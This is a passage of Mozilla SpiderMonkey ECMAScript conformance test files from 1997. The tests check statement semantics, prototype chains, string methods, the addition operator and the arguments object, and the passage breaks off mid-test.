mozjs17.0.0/js/src/tests/ecma/Statements/12.5-2.js0000664000175000017500000000363512106270663021273 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.5-2.js ECMA Section: The if statement Description: The production IfStatement : if ( Expression ) Statement else Statement is evaluated as follows: 1.Evaluate Expression. 2.Call GetValue(Result(1)). 3.Call ToBoolean(Result(2)). 4.If Result(3) is false, go to step 7. 5.Evaluate the first Statement. 6.Return Result(5). 7.Evaluate the second Statement. 8.Return Result(7). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "12.5-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The if statement" ; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var MYVAR; if ( true ) MYVAR='PASSED'; MYVAR", "PASSED", eval("var MYVAR; if ( true ) MYVAR='PASSED'; MYVAR") ); new TestCase( SECTION, "var MYVAR; if ( false ) MYVAR='FAILED'; MYVAR;", "PASSED", eval("var MYVAR=\"PASSED\"; if ( false ) MYVAR='FAILED'; MYVAR;") ); new TestCase( SECTION, "var MYVAR; if ( new Boolean(true) ) MYVAR='PASSED'; MYVAR", "PASSED", eval("var MYVAR; if ( new Boolean(true) ) MYVAR='PASSED'; MYVAR") ); new TestCase( SECTION, "var MYVAR; if ( new Boolean(false) ) MYVAR='PASSED'; MYVAR", "PASSED", eval("var MYVAR; if ( new Boolean(false) ) MYVAR='PASSED'; MYVAR") ); new TestCase( SECTION, "var MYVAR; if ( 1 ) MYVAR='PASSED'; MYVAR", "PASSED", eval("var MYVAR; if ( 1 ) MYVAR='PASSED'; MYVAR") ); new TestCase( SECTION, "var MYVAR; if ( 0 ) MYVAR='FAILED'; MYVAR;", "PASSED", eval("var MYVAR=\"PASSED\"; if ( 0 ) MYVAR='FAILED'; MYVAR;") ); test(); mozjs17.0.0/js/src/tests/ecma/Statements/12.6.2-2.js0000664000175000017500000000167212106270663021433 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.2-2.js ECMA Section: 12.6.2 The for Statement 1. first expression is not present. 2. second expression is not present 3. third expression is present Author: christine@netscape.com Date: 15 september 1997 */ var SECTION = "12.6.2-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for statement"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "for statement", 99, testprogram() ); test(); function testprogram() { myVar = 0; for ( ; ; myVar++ ) { if ( myVar < 99 ) { continue; } else { break; } } return myVar; } mozjs17.0.0/js/src/tests/ecma/Statements/12.6.2-7.js0000664000175000017500000000163012106270663021432 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.2-7.js ECMA Section: 12.6.2 The for Statement 1. first expression is present. 2. second expression is not present 3. third expression is present Author: christine@netscape.com Date: 15 september 1997 */ var SECTION = "12.6.2-7"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for statement"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "for statement", 256, testprogram() ); test(); function testprogram() { var myVar; for ( myVar=2; myVar < 100 ; myVar *= myVar ) { continue; } return myVar; } mozjs17.0.0/js/src/tests/ecma/Statements/12.9-1-n.js0000664000175000017500000000132212106270663021520 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.9-1-n.js ECMA Section: 12.9 The return statement Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "12.9-1-n"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The return statement"); DESCRIPTION = "return"; EXPECTED = "error"; new TestCase( SECTION, "return", "error", eval("return") ); test(); mozjs17.0.0/js/src/tests/ecma/Statements/12.6.3-1.js0000664000175000017500000000147012106270663021427 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.3-1.js ECMA Section: 12.6.3 The for...in Statement Description: Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "12.6.3-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for..in statement"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var x; Number.prototype.foo = 34; for ( j in 7 ) x = j; x", "foo", eval("var x; Number.prototype.foo = 34; for ( j in 7 ){x = j;} x") ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/0000775000175000017500000000000012106270663020252 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/extensions/15.3.1.1-1.js0000664000175000017500000000320612106270663021633 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.1.1.js ECMA Section: 15.3.1.1 The Function Constructor Called as a Function Description: When the Function function is called with some arguments p1, p2, . . . , pn, body (where n might be 0, that is, there are no "p" arguments, and where body might also not be provided), the following steps are taken: 1. Create and return a new Function object exactly if the function constructor had been called with the same arguments (15.3.2.1). Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.1.1-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Function Constructor Called as a Function"; writeHeaderToLog( SECTION + " "+ TITLE); var MyObject = Function( "value", "this.value = value; this.valueOf = Function( 'return this.value' ); this.toString = Function( 'return String(this.value);' )" ); var myfunc = Function(); myfunc.toString = Object.prototype.toString; // not going to test toString here since it is implementation dependent. // new TestCase( SECTION, "myfunc.toString()", "function anonymous() { }", myfunc.toString() ); myfunc.toString = Object.prototype.toString; new TestCase( SECTION, "MyObject.__proto__ == Function.prototype", true, MyObject.__proto__ == Function.prototype ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/15.2.4.js0000664000175000017500000000156612106270663021347 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.4.js ECMA Section: 15.2.4 Properties of the Object prototype object Description: The value of the internal [[Prototype]] property of the Object prototype object is null Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.2.4"; var VERSION = "ECMA_2"; startTest(); var TITLE = "Properties of the Object.prototype object"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Object.prototype.__proto__", null, Object.prototype.__proto__ ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/15.5.4.4-4.js0000664000175000017500000001366112106270663021654 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.4-4.js ECMA Section: 15.5.4.4 String.prototype.charAt(pos) Description: Returns a string containing the character at position pos in the string. If there is no character at that string, the result is the empty string. The result is a string value, not a String object. When the charAt method is called with one argument, pos, the following steps are taken: 1. Call ToString, with this value as its argument 2. Call ToInteger pos 3. Compute the number of characters in Result(1) 4. If Result(2) is less than 0 is or not less than Result(3), return the empty string 5. Return a string of length 1 containing one character from result (1), the character at position Result(2). Note that the charAt function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. This tests assiging charAt to primitive types.. Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.4.4-4"; var VERSION = "ECMA_2"; startTest(); var TITLE = "String.prototype.charAt"; writeHeaderToLog( SECTION + " "+ TITLE); /* new TestCase( SECTION, "x = null; x.__proto.charAt = String.prototype.charAt; x.charAt(0)", "n", eval("x=null; x.__proto__.charAt = String.prototype.charAt; x.charAt(0)") ); new TestCase( SECTION, "x = null; x.__proto.charAt = String.prototype.charAt; x.charAt(1)", "u", eval("x=null; x.__proto__.charAt = String.prototype.charAt; x.charAt(1)") ); new TestCase( SECTION, "x = null; x.__proto.charAt = String.prototype.charAt; x.charAt(2)", "l", eval("x=null; x.__proto__.charAt = String.prototype.charAt; x.charAt(2)") ); new TestCase( SECTION, "x = null; x.__proto.charAt = String.prototype.charAt; x.charAt(3)", "l", eval("x=null; x.__proto__.charAt = String.prototype.charAt; x.charAt(3)") ); new TestCase( SECTION, "x = undefined; x.__proto.charAt = String.prototype.charAt; x.charAt(0)", "u", eval("x=undefined; x.__proto__.charAt = String.prototype.charAt; x.charAt(0)") ); new TestCase( SECTION, "x = undefined; x.__proto.charAt = String.prototype.charAt; x.charAt(1)", "n", eval("x=undefined; x.__proto__.charAt = String.prototype.charAt; x.charAt(1)") ); new TestCase( SECTION, "x = undefined; x.__proto.charAt = String.prototype.charAt; x.charAt(2)", "d", eval("x=undefined; x.__proto__.charAt = String.prototype.charAt; x.charAt(2)") ); new TestCase( SECTION, "x = undefined; x.__proto.charAt = String.prototype.charAt; x.charAt(3)", "e", eval("x=undefined; x.__proto__.charAt = String.prototype.charAt; x.charAt(3)") ); */ new TestCase( SECTION, "x = false; x.__proto.charAt = String.prototype.charAt; x.charAt(0)", "f", eval("x=false; x.__proto__.charAt = String.prototype.charAt; x.charAt(0)") ); new TestCase( SECTION, "x = false; x.__proto.charAt = String.prototype.charAt; x.charAt(1)", "a", eval("x=false; x.__proto__.charAt = String.prototype.charAt; x.charAt(1)") ); new TestCase( SECTION, "x = false; x.__proto.charAt = String.prototype.charAt; x.charAt(2)", "l", eval("x=false; x.__proto__.charAt = String.prototype.charAt; x.charAt(2)") ); new TestCase( SECTION, "x = false; x.__proto.charAt = String.prototype.charAt; x.charAt(3)", "s", eval("x=false; x.__proto__.charAt = String.prototype.charAt; x.charAt(3)") ); new TestCase( SECTION, "x = false; x.__proto.charAt = String.prototype.charAt; x.charAt(4)", "e", eval("x=false; x.__proto__.charAt = String.prototype.charAt; x.charAt(4)") ); new TestCase( SECTION, "x = true; x.__proto.charAt = String.prototype.charAt; x.charAt(0)", "t", eval("x=true; x.__proto__.charAt = String.prototype.charAt; x.charAt(0)") ); new TestCase( SECTION, "x = true; x.__proto.charAt = String.prototype.charAt; x.charAt(1)", "r", eval("x=true; x.__proto__.charAt = String.prototype.charAt; x.charAt(1)") ); new TestCase( SECTION, "x = true; x.__proto.charAt = String.prototype.charAt; x.charAt(2)", "u", eval("x=true; x.__proto__.charAt = String.prototype.charAt; x.charAt(2)") ); new TestCase( SECTION, "x = true; x.__proto.charAt = String.prototype.charAt; x.charAt(3)", "e", eval("x=true; x.__proto__.charAt = String.prototype.charAt; x.charAt(3)") ); new TestCase( SECTION, "x = NaN; x.__proto.charAt = String.prototype.charAt; x.charAt(0)", "N", eval("x=NaN; x.__proto__.charAt = String.prototype.charAt; x.charAt(0)") ); new TestCase( SECTION, "x = NaN; x.__proto.charAt = String.prototype.charAt; x.charAt(1)", "a", eval("x=NaN; x.__proto__.charAt = String.prototype.charAt; x.charAt(1)") ); new TestCase( SECTION, "x = NaN; x.__proto.charAt = String.prototype.charAt; x.charAt(2)", "N", eval("x=NaN; x.__proto__.charAt = String.prototype.charAt; x.charAt(2)") ); new TestCase( SECTION, "x = 123; x.__proto.charAt = String.prototype.charAt; x.charAt(0)", "1", eval("x=123; x.__proto__.charAt = String.prototype.charAt; x.charAt(0)") ); new TestCase( SECTION, "x = 123; x.__proto.charAt = String.prototype.charAt; x.charAt(1)", "2", eval("x=123; x.__proto__.charAt = String.prototype.charAt; x.charAt(1)") ); new TestCase( SECTION, "x = 123; x.__proto.charAt = String.prototype.charAt; x.charAt(2)", "3", eval("x=123; x.__proto__.charAt = String.prototype.charAt; x.charAt(2)") ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/shell.js0000664000175000017500000000000012106270663021705 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/extensions/15-1.js0000664000175000017500000000641712106270663021203 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.js ECMA Section: 15 Native ECMAScript Objects Description: Every built-in prototype object has the Object prototype object, which is the value of the expression Object.prototype (15.2.3.1) as the value of its internal [[Prototype]] property, except the Object prototype object itself. Every native object associated with a program-created function also has the Object prototype object as the value of its internal [[Prototype]] property. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Native ECMAScript Objects"; writeHeaderToLog( SECTION + " "+ TITLE); /* new TestCase( SECTION, "Function.prototype.__proto__", Object.prototype, Function.prototype.__proto__ ); new TestCase( SECTION, "Array.prototype.__proto__", Object.prototype, Array.prototype.__proto__ ); new TestCase( SECTION, "String.prototype.__proto__", Object.prototype, String.prototype.__proto__ ); new TestCase( SECTION, "Boolean.prototype.__proto__", Object.prototype, Boolean.prototype.__proto__ ); new TestCase( SECTION, "Number.prototype.__proto__", Object.prototype, Number.prototype.__proto__ ); // new TestCase( SECTION, "Math.prototype.__proto__", Object.prototype, Math.prototype.__proto__ ); new TestCase( SECTION, "Date.prototype.__proto__", Object.prototype, Date.prototype.__proto__ ); new TestCase( SECTION, "TestCase.prototype.__proto__", Object.prototype, TestCase.prototype.__proto__ ); new TestCase( SECTION, "MyObject.prototype.__proto__", Object.prototype, MyObject.prototype.__proto__ ); */ new TestCase( SECTION, "Function.prototype.__proto__ == Object.prototype", true, Function.prototype.__proto__ == Object.prototype ); new TestCase( SECTION, "Array.prototype.__proto__ == Object.prototype", true, Array.prototype.__proto__ == Object.prototype ); new TestCase( SECTION, "String.prototype.__proto__ == Object.prototype", true, String.prototype.__proto__ == Object.prototype ); new TestCase( SECTION, "Boolean.prototype.__proto__ == Object.prototype", true, Boolean.prototype.__proto__ == Object.prototype ); new TestCase( SECTION, "Number.prototype.__proto__ == Object.prototype", true, Number.prototype.__proto__ == Object.prototype ); // new TestCase( SECTION, "Math.prototype.__proto__ == Object.prototype", true, Math.prototype.__proto__ == Object.prototype ); new TestCase( SECTION, "Date.prototype.__proto__ == Object.prototype", true, Date.prototype.__proto__ == Object.prototype ); new TestCase( SECTION, "TestCase.prototype.__proto__ == Object.prototype", true, TestCase.prototype.__proto__ == Object.prototype ); new TestCase( SECTION, "MyObject.prototype.__proto__ == Object.prototype", true, MyObject.prototype.__proto__ == Object.prototype ); test(); function MyObject( value ) { this.value = value; this.valueOf = new Function( "return this.value" ); } mozjs17.0.0/js/src/tests/ecma/extensions/15.2.3-1.js0000664000175000017500000000173712106270663021504 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.2.3-1.js ECMA Section: 15.2.3 Properties of the Object Constructor Description: The value of the internal [[Prototype]] property of the Object constructor is the Function prototype object. Besides the call and construct propreties and the length property, the Object constructor has properties described in 15.2.3.1. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.2.3"; var VERSION = "ECMA_2"; startTest(); writeHeaderToLog( SECTION + " Properties of the Object Constructor"); new TestCase( SECTION, "Object.__proto__", Function.prototype, Object.__proto__ ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/15.6.3.1-5.js0000664000175000017500000000136612106270663021651 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.3.1-5.js ECMA Section: 15.6.3.1 Boolean.prototype Description: Author: christine@netscape.com Date: 28 october 1997 */ var VERSION = "ECMA_2"; startTest(); var SECTION = "15.6.3.1-5"; var TITLE = "Boolean.prototype" writeHeaderToLog( SECTION + " " + TITLE ); new TestCase( SECTION, "Function.prototype == Boolean.__proto__", true, Function.prototype == Boolean.__proto__ ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/15.6.4-2.js0000664000175000017500000000200412106270663021476 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.6.4-2.js ECMA Section: 15.6.4 Properties of the Boolean Prototype Object Description: The Boolean prototype object is itself a Boolean object (its [[Class]] is "Boolean") whose value is false. The value of the internal [[Prototype]] property of the Boolean prototype object is the Object prototype object (15.2.3.1). Author: christine@netscape.com Date: 30 september 1997 */ var VERSION = "ECMA_2" startTest(); var SECTION = "15.6.4-2"; writeHeaderToLog( SECTION + " Properties of the Boolean Prototype Object"); new TestCase( SECTION, "Boolean.prototype.__proto__", Object.prototype, Boolean.prototype.__proto__ ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/15.4.3.js0000664000175000017500000000157512106270663021350 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.3.js ECMA Section: 15.4.3 Properties of the Array Constructor Description: The value of the internal [[Prototype]] property of the Array constructor is the Function prototype object. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.3"; var VERSION = "ECMA_2"; startTest(); var TITLE = "Properties of the Array Constructor"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Array.__proto__", Function.prototype, Array.__proto__ ); test(); mozjs17.0.0/js/src/tests/ecma/extensions/11.6.1-2.js0000664000175000017500000001014512106270663021474 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.6.1-2.js ECMA Section: 11.6.1 The addition operator ( + ) Description: The addition operator either performs string concatenation or numeric addition. The production AdditiveExpression : AdditiveExpression + MultiplicativeExpression is evaluated as follows: 1. Evaluate AdditiveExpression. 2. Call GetValue(Result(1)). 3. Evaluate MultiplicativeExpression. 4. Call GetValue(Result(3)). 5. Call ToPrimitive(Result(2)). 6. Call ToPrimitive(Result(4)). 7. If Type(Result(5)) is String or Type(Result(6)) is String, go to step 12. (Note that this step differs from step 3 in the algorithm for comparison for the relational operators in using or instead of and.) 8. Call ToNumber(Result(5)). 9. Call ToNumber(Result(6)). 10. Apply the addition operation to Result(8) and Result(9). See the discussion below (11.6.3). 11. Return Result(10). 12. Call ToString(Result(5)). 13. Call ToString(Result(6)). 14. Concatenate Result(12) followed by Result(13). 15. Return Result(14). Note that no hint is provided in the calls to ToPrimitive in steps 5 and 6. All native ECMAScript objects except Date objects handle the absence of a hint as if the hint Number were given; Date objects handle the absence of a hint as if the hint String were given. Host objects may handle the absence of a hint in some other manner. This test does only covers cases where the Additive or Mulplicative expression ToPrimitive is a string. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.6.1-2"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The Addition operator ( + )"); // tests for "MyValuelessObject", where the value is // set in the object's prototype, not the object itself. new TestCase( SECTION, "var EXP_1 = new MyValuelessObject('string'); var EXP_2 = new MyValuelessObject(false); EXP_1 + EXP_2", "stringfalse", eval("var EXP_1 = new MyValuelessObject('string'); var EXP_2 = new MyValuelessObject(false); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyValuelessObject(new String('string')); var EXP_2 = new MyValuelessObject(new Boolean(false)); EXP_1 + EXP_2", "stringfalse", eval("var EXP_1 = new MyValuelessObject(new String('string')); var EXP_2 = new MyValuelessObject(new Boolean(false)); EXP_1 + EXP_2") ); // tests for "MyValuelessObject", where the value is // set in the object's prototype, not the object itself. new TestCase( SECTION, "var EXP_1 = new MyValuelessObject(100); var EXP_2 = new MyValuelessObject('string'); EXP_1 + EXP_2", "100string", eval("var EXP_1 = new MyValuelessObject(100); var EXP_2 = new MyValuelessObject('string'); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyValuelessObject(new String('string')); var EXP_2 = new MyValuelessObject(new Number(-1)); EXP_1 + EXP_2", "string-1", eval("var EXP_1 = new MyValuelessObject(new String('string')); var EXP_2 = new MyValuelessObject(new Number(-1)); EXP_1 + EXP_2") ); test(); function MyProtoValuelessObject() { this.valueOf = new Function ( "" ); this.__proto__ = null; } function MyProtolessObject( value ) { this.valueOf = new Function( "return this.value" ); this.__proto__ = null; this.value = value; } function MyValuelessObject(value) { this.__proto__ = new MyPrototypeObject(value); } function MyPrototypeObject(value) { this.valueOf = new Function( "return this.value;" ); this.toString = new Function( "return (this.value + '');" ); this.value = value; } function MyObject( value ) { this.valueOf = new Function( "return this.value" ); this.value = value; } mozjs17.0.0/js/src/tests/ecma/extensions/11.6.1-1.js0000664000175000017500000001016712106270663021477 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.6.1-1.js ECMA Section: 11.6.1 The addition operator ( + ) Description: The addition operator either performs string concatenation or numeric addition. The production AdditiveExpression : AdditiveExpression + MultiplicativeExpression is evaluated as follows: 1. Evaluate AdditiveExpression. 2. Call GetValue(Result(1)). 3. Evaluate MultiplicativeExpression. 4. Call GetValue(Result(3)). 5. Call ToPrimitive(Result(2)). 6. Call ToPrimitive(Result(4)). 7. If Type(Result(5)) is String or Type(Result(6)) is String, go to step 12. (Note that this step differs from step 3 in the algorithm for comparison for the relational operators in using or instead of and.) 8. Call ToNumber(Result(5)). 9. Call ToNumber(Result(6)). 10. Apply the addition operation to Result(8) and Result(9). See the discussion below (11.6.3). 11. Return Result(10). 12. Call ToString(Result(5)). 13. Call ToString(Result(6)). 14. Concatenate Result(12) followed by Result(13). 15. Return Result(14). Note that no hint is provided in the calls to ToPrimitive in steps 5 and 6. All native ECMAScript objects except Date objects handle the absence of a hint as if the hint Number were given; Date objects handle the absence of a hint as if the hint String were given. Host objects may handle the absence of a hint in some other manner. This test does not cover cases where the Additive or Mulplicative expression ToPrimitive is string. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.6.1-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The Addition operator ( + )"); // tests for "MyValuelessObject", where the value is // set in the object's prototype, not the object itself. new TestCase( SECTION, "var EXP_1 = new MyValuelessObject(true); var EXP_2 = new MyValuelessObject(false); EXP_1 + EXP_2", 1, eval("var EXP_1 = new MyValuelessObject(true); var EXP_2 = new MyValuelessObject(false); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyValuelessObject(new Boolean(true)); var EXP_2 = new MyValuelessObject(new Boolean(false)); EXP_1 + EXP_2", "truefalse", eval("var EXP_1 = new MyValuelessObject(new Boolean(true)); var EXP_2 = new MyValuelessObject(new Boolean(false)); EXP_1 + EXP_2") ); // tests for "MyValuelessObject", where the value is // set in the object's prototype, not the object itself. new TestCase( SECTION, "var EXP_1 = new MyValuelessObject(100); var EXP_2 = new MyValuelessObject(-1); EXP_1 + EXP_2", 99, eval("var EXP_1 = new MyValuelessObject(100); var EXP_2 = new MyValuelessObject(-1); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyValuelessObject(new Number(100)); var EXP_2 = new MyValuelessObject(new Number(-1)); EXP_1 + EXP_2", "100-1", eval("var EXP_1 = new MyValuelessObject(new Number(100)); var EXP_2 = new MyValuelessObject(new Number(-1)); EXP_1 + EXP_2") ); new TestCase( SECTION, "var EXP_1 = new MyValuelessObject( new MyValuelessObject( new Boolean(true) ) ); EXP_1 + EXP_1", "truetrue", eval("var EXP_1 = new MyValuelessObject( new MyValuelessObject( new Boolean(true) ) ); EXP_1 + EXP_1") ); test(); function MyProtoValuelessObject() { this.valueOf = new Function ( "" ); this.__proto__ = null; } function MyProtolessObject( value ) { this.valueOf = new Function( "return this.value" ); this.__proto__ = null; this.value = value; } function MyValuelessObject(value) { this.__proto__ = new MyPrototypeObject(value); } function MyPrototypeObject(value) { this.valueOf = new Function( "return this.value;" ); this.toString = new Function( "return (this.value + '');" ); this.value = value; } function MyObject( value ) { this.valueOf = new Function( "return this.value" ); this.value = value; } mozjs17.0.0/js/src/tests/ecma/extensions/10.1.8-1.js0000664000175000017500000000572112106270663021500 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.8 ECMA Section: Arguments Object Description: When control enters an execution context for declared function code, anonymous code, or implementation-supplied code, an arguments object is created and initialized as follows: The [[Prototype]] of the arguments object is to the original Object prototype object, the one that is the initial value of Object.prototype (section 15.2.3.1). A property is created with name callee and property attributes {DontEnum}. The initial value of this property is the function object being executed. This allows anonymous functions to be recursive. A property is created with name length and property attributes {DontEnum}. The initial value of this property is the number of actual parameter values supplied by the caller. For each non-negative integer, iarg, less than the value of the length property, a property is created with name ToString(iarg) and property attributes { DontEnum }. The initial value of this property is the value of the corresponding actual parameter supplied by the caller. The first actual parameter value corresponds to iarg = 0, the second to iarg = 1 and so on. In the case when iarg is less than the number of formal parameters for the function object, this property shares its value with the corresponding property of the activation object. This means that changing this property changes the corresponding property of the activation object and vice versa. The value sharing mechanism depends on the implementation. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.1.8"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Arguments Object"; writeHeaderToLog( SECTION + " "+ TITLE); var ARG_STRING = "value of the argument property"; new TestCase( SECTION, "GetCallee()", GetCallee, GetCallee() ); var LIMIT = 100; for ( var i = 0, args = "" ; i < LIMIT; i++ ) { args += String(i) + ( i+1 < LIMIT ? "," : "" ); } var LENGTH = eval( "GetLength("+ args +")" ); new TestCase( SECTION, "GetLength("+args+")", 100, LENGTH ); var ARGUMENTS = eval( "GetArguments( " +args+")" ); for ( var i = 0; i < 100; i++ ) { new TestCase( SECTION, "GetArguments("+args+")["+i+"]", i, ARGUMENTS[i] ); } test(); function TestFunction() { var arg_proto = arguments.__proto__; } function GetCallee() { var c = arguments.callee; return c; } function GetArguments() { var a = arguments; return a; } function GetLength() { var l = arguments.length; return l; } function AnotherTestFunction() { this.__proto__ = new Prototype(); return this; } mozjs17.0.0/js/src/tests/ecma/extensions/15.5.4.5-6.js0000664000175000017500000000544212106270663021655 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.5-6.js ECMA Section: 15.5.4.5 String.prototype.charCodeAt(pos) Description: Returns a number (a nonnegative integer less than 2^16) representing the Unicode encoding of the character at position pos in this string. If there is no character at that position, the number is NaN. When the charCodeAt method is called with one argument pos, the following steps are taken: 1. Call ToString, giving it the theis value as its argument 2. Call ToInteger(pos) 3. Compute the number of characters in result(1). 4. If Result(2) is less than 0 or is not less than Result(3), return NaN. 5. Return a value of Number type, of positive sign, whose magnitude is the Unicode encoding of one character from result 1, namely the characer at position Result (2), where the first character in Result(1) is considered to be at position 0. Note that the charCodeAt function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.4.5-6"; var VERSION = "ECMA_2"; startTest(); var TITLE = "String.prototype.charCodeAt"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var obj = true; obj.__proto__.charCodeAt = String.prototype.charCodeAt; var s = ''; for ( var i = 0; i < 4; i++ ) s+= String.fromCharCode( obj.charCodeAt(i) ); s", "true", eval("var obj = true; 